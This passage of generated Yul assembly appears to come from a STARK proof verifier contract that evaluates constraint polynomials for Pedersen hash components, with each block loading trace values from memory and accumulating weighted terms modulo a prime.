addmod(/*column3_row1*/ mload(0x1e40), sub(PRIME, /*column3_row0*/ mload(0x1e20)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[59]. res := addmod(res, mulmod(val, /*coefficients[59]*/ mload(0xb60), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/y: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column4_row1 - column4_row0). let val := mulmod( /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x3660), addmod(/*column4_row1*/ mload(0x1ee0), sub(PRIME, /*column4_row0*/ mload(0x1ec0)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[60]. res := addmod(res, mulmod(val, /*coefficients[60]*/ mload(0xb80), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/copy_point/x: column3_row256 - column3_row255. let val := addmod( /*column3_row256*/ mload(0x1e80), sub(PRIME, /*column3_row255*/ mload(0x1e60)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[61]. res := addmod(res, mulmod(val, /*coefficients[61]*/ mload(0xba0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/copy_point/y: column4_row256 - column4_row255. let val := addmod( /*column4_row256*/ mload(0x1f20), sub(PRIME, /*column4_row255*/ mload(0x1f00)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[62]. res := addmod(res, mulmod(val, /*coefficients[62]*/ mload(0xbc0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/init/x: column3_row0 - pedersen/shift_point.x. let val := addmod( /*column3_row0*/ mload(0x1e20), sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[63]. res := addmod(res, mulmod(val, /*coefficients[63]*/ mload(0xbe0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/init/y: column4_row0 - pedersen/shift_point.y. let val := addmod( /*column4_row0*/ mload(0x1ec0), sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[64]. res := addmod(res, mulmod(val, /*coefficients[64]*/ mload(0xc00), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/bit_unpacking/last_one_is_zero: column17_row255 * (column10_row0 - (column10_row1 + column10_row1)). let val := mulmod( /*column17_row255*/ mload(0x26e0), addmod( /*column10_row0*/ mload(0x2200), sub( PRIME, addmod(/*column10_row1*/ mload(0x2220), /*column10_row1*/ mload(0x2220), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[65]. res := addmod(res, mulmod(val, /*coefficients[65]*/ mload(0xc20), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones0: column17_row255 * (column10_row1 - 3138550867693340381917894711603833208051177722232017256448 * column10_row192). let val := mulmod( /*column17_row255*/ mload(0x26e0), addmod( /*column10_row1*/ mload(0x2220), sub( PRIME, mulmod( 3138550867693340381917894711603833208051177722232017256448, /*column10_row192*/ mload(0x2240), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[66]. res := addmod(res, mulmod(val, /*coefficients[66]*/ mload(0xc40), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/bit_unpacking/cumulative_bit192: column17_row255 - column13_row255 * (column10_row192 - (column10_row193 + column10_row193)). let val := addmod( /*column17_row255*/ mload(0x26e0), sub( PRIME, mulmod( /*column13_row255*/ mload(0x2460), addmod( /*column10_row192*/ mload(0x2240), sub( PRIME, addmod(/*column10_row193*/ mload(0x2260), /*column10_row193*/ mload(0x2260), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[67]. res := addmod(res, mulmod(val, /*coefficients[67]*/ mload(0xc60), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones192: column13_row255 * (column10_row193 - 8 * column10_row196). let val := mulmod( /*column13_row255*/ mload(0x2460), addmod( /*column10_row193*/ mload(0x2260), sub(PRIME, mulmod(8, /*column10_row196*/ mload(0x2280), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[68]. res := addmod(res, mulmod(val, /*coefficients[68]*/ mload(0xc80), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/bit_unpacking/cumulative_bit196: column13_row255 - (column10_row251 - (column10_row252 + column10_row252)) * (column10_row196 - (column10_row197 + column10_row197)). let val := addmod( /*column13_row255*/ mload(0x2460), sub( PRIME, mulmod( addmod( /*column10_row251*/ mload(0x22c0), sub( PRIME, addmod(/*column10_row252*/ mload(0x22e0), /*column10_row252*/ mload(0x22e0), PRIME)), PRIME), addmod( /*column10_row196*/ mload(0x2280), sub( PRIME, addmod(/*column10_row197*/ mload(0x22a0), /*column10_row197*/ mload(0x22a0), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[69]. res := addmod(res, mulmod(val, /*coefficients[69]*/ mload(0xca0), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones196: (column10_row251 - (column10_row252 + column10_row252)) * (column10_row197 - 18014398509481984 * column10_row251). let val := mulmod( addmod( /*column10_row251*/ mload(0x22c0), sub( PRIME, addmod(/*column10_row252*/ mload(0x22e0), /*column10_row252*/ mload(0x22e0), PRIME)), PRIME), addmod( /*column10_row197*/ mload(0x22a0), sub(PRIME, mulmod(18014398509481984, /*column10_row251*/ mload(0x22c0), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[70]. res := addmod(res, mulmod(val, /*coefficients[70]*/ mload(0xcc0), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/booleanity_test: pedersen__hash1__ec_subset_sum__bit_0 * (pedersen__hash1__ec_subset_sum__bit_0 - 1). let val := mulmod( /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x3680), addmod( /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x3680), sub(PRIME, 1), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[71]. res := addmod(res, mulmod(val, /*coefficients[71]*/ mload(0xce0), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/bit_extraction_end: column10_row0. let val := /*column10_row0*/ mload(0x2200) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64). // val *= denominator_invs[10]. val := mulmod(val, mload(0x3ca0), PRIME) // res += val * coefficients[72]. res := addmod(res, mulmod(val, /*coefficients[72]*/ mload(0xd00), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/zeros_tail: column10_row0. let val := /*column10_row0*/ mload(0x2200) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= denominator_invs[11]. val := mulmod(val, mload(0x3cc0), PRIME) // res += val * coefficients[73]. res := addmod(res, mulmod(val, /*coefficients[73]*/ mload(0xd20), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/add_points/slope: pedersen__hash1__ec_subset_sum__bit_0 * (column8_row0 - pedersen__points__y) - column9_row0 * (column7_row0 - pedersen__points__x). let val := addmod( mulmod( /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x3680), addmod( /*column8_row0*/ mload(0x2140), sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)), PRIME), PRIME), sub( PRIME, mulmod( /*column9_row0*/ mload(0x21c0), addmod( /*column7_row0*/ mload(0x20a0), sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[74]. res := addmod(res, mulmod(val, /*coefficients[74]*/ mload(0xd40), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/add_points/x: column9_row0 * column9_row0 - pedersen__hash1__ec_subset_sum__bit_0 * (column7_row0 + pedersen__points__x + column7_row1). let val := addmod( mulmod(/*column9_row0*/ mload(0x21c0), /*column9_row0*/ mload(0x21c0), PRIME), sub( PRIME, mulmod( /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x3680), addmod( addmod( /*column7_row0*/ mload(0x20a0), /*periodic_column/pedersen/points/x*/ mload(0x0), PRIME), /*column7_row1*/ mload(0x20c0), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[75]. res := addmod(res, mulmod(val, /*coefficients[75]*/ mload(0xd60), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/add_points/y: pedersen__hash1__ec_subset_sum__bit_0 * (column8_row0 + column8_row1) - column9_row0 * (column7_row0 - column7_row1). let val := addmod( mulmod( /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x3680), addmod(/*column8_row0*/ mload(0x2140), /*column8_row1*/ mload(0x2160), PRIME), PRIME), sub( PRIME, mulmod( /*column9_row0*/ mload(0x21c0), addmod(/*column7_row0*/ mload(0x20a0), sub(PRIME, /*column7_row1*/ mload(0x20c0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[76]. res := addmod(res, mulmod(val, /*coefficients[76]*/ mload(0xd80), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/copy_point/x: pedersen__hash1__ec_subset_sum__bit_neg_0 * (column7_row1 - column7_row0). let val := mulmod( /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_neg_0*/ mload(0x36a0), addmod(/*column7_row1*/ mload(0x20c0), sub(PRIME, /*column7_row0*/ mload(0x20a0)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[77]. res := addmod(res, mulmod(val, /*coefficients[77]*/ mload(0xda0), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/ec_subset_sum/copy_point/y: pedersen__hash1__ec_subset_sum__bit_neg_0 * (column8_row1 - column8_row0). let val := mulmod( /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_neg_0*/ mload(0x36a0), addmod(/*column8_row1*/ mload(0x2160), sub(PRIME, /*column8_row0*/ mload(0x2140)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[78]. res := addmod(res, mulmod(val, /*coefficients[78]*/ mload(0xdc0), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/copy_point/x: column7_row256 - column7_row255. let val := addmod( /*column7_row256*/ mload(0x2100), sub(PRIME, /*column7_row255*/ mload(0x20e0)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[79]. res := addmod(res, mulmod(val, /*coefficients[79]*/ mload(0xde0), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/copy_point/y: column8_row256 - column8_row255. let val := addmod( /*column8_row256*/ mload(0x21a0), sub(PRIME, /*column8_row255*/ mload(0x2180)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[80]. res := addmod(res, mulmod(val, /*coefficients[80]*/ mload(0xe00), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/init/x: column7_row0 - pedersen/shift_point.x. let val := addmod( /*column7_row0*/ mload(0x20a0), sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[81]. res := addmod(res, mulmod(val, /*coefficients[81]*/ mload(0xe20), PRIME), PRIME) } { // Constraint expression for pedersen/hash1/init/y: column8_row0 - pedersen/shift_point.y. let val := addmod( /*column8_row0*/ mload(0x2140), sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[82]. res := addmod(res, mulmod(val, /*coefficients[82]*/ mload(0xe40), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/bit_unpacking/last_one_is_zero: column22_row144 * (column14_row0 - (column14_row1 + column14_row1)). let val := mulmod( /*column22_row144*/ mload(0x32a0), addmod( /*column14_row0*/ mload(0x2480), sub( PRIME, addmod(/*column14_row1*/ mload(0x24a0), /*column14_row1*/ mload(0x24a0), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[83]. res := addmod(res, mulmod(val, /*coefficients[83]*/ mload(0xe60), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones0: column22_row144 * (column14_row1 - 3138550867693340381917894711603833208051177722232017256448 * column14_row192). let val := mulmod( /*column22_row144*/ mload(0x32a0), addmod( /*column14_row1*/ mload(0x24a0), sub( PRIME, mulmod( 3138550867693340381917894711603833208051177722232017256448, /*column14_row192*/ mload(0x24c0), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[84]. res := addmod(res, mulmod(val, /*coefficients[84]*/ mload(0xe80), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/bit_unpacking/cumulative_bit192: column22_row144 - column22_row16 * (column14_row192 - (column14_row193 + column14_row193)). let val := addmod( /*column22_row144*/ mload(0x32a0), sub( PRIME, mulmod( /*column22_row16*/ mload(0x3260), addmod( /*column14_row192*/ mload(0x24c0), sub( PRIME, addmod(/*column14_row193*/ mload(0x24e0), /*column14_row193*/ mload(0x24e0), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[85]. res := addmod(res, mulmod(val, /*coefficients[85]*/ mload(0xea0), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones192: column22_row16 * (column14_row193 - 8 * column14_row196). let val := mulmod( /*column22_row16*/ mload(0x3260), addmod( /*column14_row193*/ mload(0x24e0), sub(PRIME, mulmod(8, /*column14_row196*/ mload(0x2500), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[86]. res := addmod(res, mulmod(val, /*coefficients[86]*/ mload(0xec0), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/bit_unpacking/cumulative_bit196: column22_row16 - (column14_row251 - (column14_row252 + column14_row252)) * (column14_row196 - (column14_row197 + column14_row197)). let val := addmod( /*column22_row16*/ mload(0x3260), sub( PRIME, mulmod( addmod( /*column14_row251*/ mload(0x2540), sub( PRIME, addmod(/*column14_row252*/ mload(0x2560), /*column14_row252*/ mload(0x2560), PRIME)), PRIME), addmod( /*column14_row196*/ mload(0x2500), sub( PRIME, addmod(/*column14_row197*/ mload(0x2520), /*column14_row197*/ mload(0x2520), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[87]. res := addmod(res, mulmod(val, /*coefficients[87]*/ mload(0xee0), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones196: (column14_row251 - (column14_row252 + column14_row252)) * (column14_row197 - 18014398509481984 * column14_row251). let val := mulmod( addmod( /*column14_row251*/ mload(0x2540), sub( PRIME, addmod(/*column14_row252*/ mload(0x2560), /*column14_row252*/ mload(0x2560), PRIME)), PRIME), addmod( /*column14_row197*/ mload(0x2520), sub(PRIME, mulmod(18014398509481984, /*column14_row251*/ mload(0x2540), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[88]. res := addmod(res, mulmod(val, /*coefficients[88]*/ mload(0xf00), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/booleanity_test: pedersen__hash2__ec_subset_sum__bit_0 * (pedersen__hash2__ec_subset_sum__bit_0 - 1). let val := mulmod( /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x36c0), addmod( /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x36c0), sub(PRIME, 1), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[89]. res := addmod(res, mulmod(val, /*coefficients[89]*/ mload(0xf20), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/bit_extraction_end: column14_row0. let val := /*column14_row0*/ mload(0x2480) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64). // val *= denominator_invs[10]. val := mulmod(val, mload(0x3ca0), PRIME) // res += val * coefficients[90]. res := addmod(res, mulmod(val, /*coefficients[90]*/ mload(0xf40), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/zeros_tail: column14_row0. let val := /*column14_row0*/ mload(0x2480) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= denominator_invs[11]. val := mulmod(val, mload(0x3cc0), PRIME) // res += val * coefficients[91]. res := addmod(res, mulmod(val, /*coefficients[91]*/ mload(0xf60), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/add_points/slope: pedersen__hash2__ec_subset_sum__bit_0 * (column12_row0 - pedersen__points__y) - column13_row0 * (column11_row0 - pedersen__points__x). let val := addmod( mulmod( /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x36c0), addmod( /*column12_row0*/ mload(0x23c0), sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)), PRIME), PRIME), sub( PRIME, mulmod( /*column13_row0*/ mload(0x2440), addmod( /*column11_row0*/ mload(0x2320), sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[92]. res := addmod(res, mulmod(val, /*coefficients[92]*/ mload(0xf80), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/add_points/x: column13_row0 * column13_row0 - pedersen__hash2__ec_subset_sum__bit_0 * (column11_row0 + pedersen__points__x + column11_row1). let val := addmod( mulmod(/*column13_row0*/ mload(0x2440), /*column13_row0*/ mload(0x2440), PRIME), sub( PRIME, mulmod( /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x36c0), addmod( addmod( /*column11_row0*/ mload(0x2320), /*periodic_column/pedersen/points/x*/ mload(0x0), PRIME), /*column11_row1*/ mload(0x2340), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[93]. res := addmod(res, mulmod(val, /*coefficients[93]*/ mload(0xfa0), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/add_points/y: pedersen__hash2__ec_subset_sum__bit_0 * (column12_row0 + column12_row1) - column13_row0 * (column11_row0 - column11_row1). let val := addmod( mulmod( /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x36c0), addmod(/*column12_row0*/ mload(0x23c0), /*column12_row1*/ mload(0x23e0), PRIME), PRIME), sub( PRIME, mulmod( /*column13_row0*/ mload(0x2440), addmod(/*column11_row0*/ mload(0x2320), sub(PRIME, /*column11_row1*/ mload(0x2340)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[94]. res := addmod(res, mulmod(val, /*coefficients[94]*/ mload(0xfc0), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/copy_point/x: pedersen__hash2__ec_subset_sum__bit_neg_0 * (column11_row1 - column11_row0). let val := mulmod( /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_neg_0*/ mload(0x36e0), addmod(/*column11_row1*/ mload(0x2340), sub(PRIME, /*column11_row0*/ mload(0x2320)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[95]. res := addmod(res, mulmod(val, /*coefficients[95]*/ mload(0xfe0), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/ec_subset_sum/copy_point/y: pedersen__hash2__ec_subset_sum__bit_neg_0 * (column12_row1 - column12_row0). let val := mulmod( /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_neg_0*/ mload(0x36e0), addmod(/*column12_row1*/ mload(0x23e0), sub(PRIME, /*column12_row0*/ mload(0x23c0)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[96]. res := addmod(res, mulmod(val, /*coefficients[96]*/ mload(0x1000), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/copy_point/x: column11_row256 - column11_row255. let val := addmod( /*column11_row256*/ mload(0x2380), sub(PRIME, /*column11_row255*/ mload(0x2360)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[97]. res := addmod(res, mulmod(val, /*coefficients[97]*/ mload(0x1020), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/copy_point/y: column12_row256 - column12_row255. let val := addmod( /*column12_row256*/ mload(0x2420), sub(PRIME, /*column12_row255*/ mload(0x2400)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[98]. res := addmod(res, mulmod(val, /*coefficients[98]*/ mload(0x1040), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/init/x: column11_row0 - pedersen/shift_point.x. let val := addmod( /*column11_row0*/ mload(0x2320), sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[99]. res := addmod(res, mulmod(val, /*coefficients[99]*/ mload(0x1060), PRIME), PRIME) } { // Constraint expression for pedersen/hash2/init/y: column12_row0 - pedersen/shift_point.y. let val := addmod( /*column12_row0*/ mload(0x23c0), sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[100]. res := addmod(res, mulmod(val, /*coefficients[100]*/ mload(0x1080), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/bit_unpacking/last_one_is_zero: column22_row208 * (column18_row0 - (column18_row1 + column18_row1)). let val := mulmod( /*column22_row208*/ mload(0x32c0), addmod( /*column18_row0*/ mload(0x2700), sub( PRIME, addmod(/*column18_row1*/ mload(0x2720), /*column18_row1*/ mload(0x2720), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[101]. res := addmod(res, mulmod(val, /*coefficients[101]*/ mload(0x10a0), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones0: column22_row208 * (column18_row1 - 3138550867693340381917894711603833208051177722232017256448 * column18_row192). let val := mulmod( /*column22_row208*/ mload(0x32c0), addmod( /*column18_row1*/ mload(0x2720), sub( PRIME, mulmod( 3138550867693340381917894711603833208051177722232017256448, /*column18_row192*/ 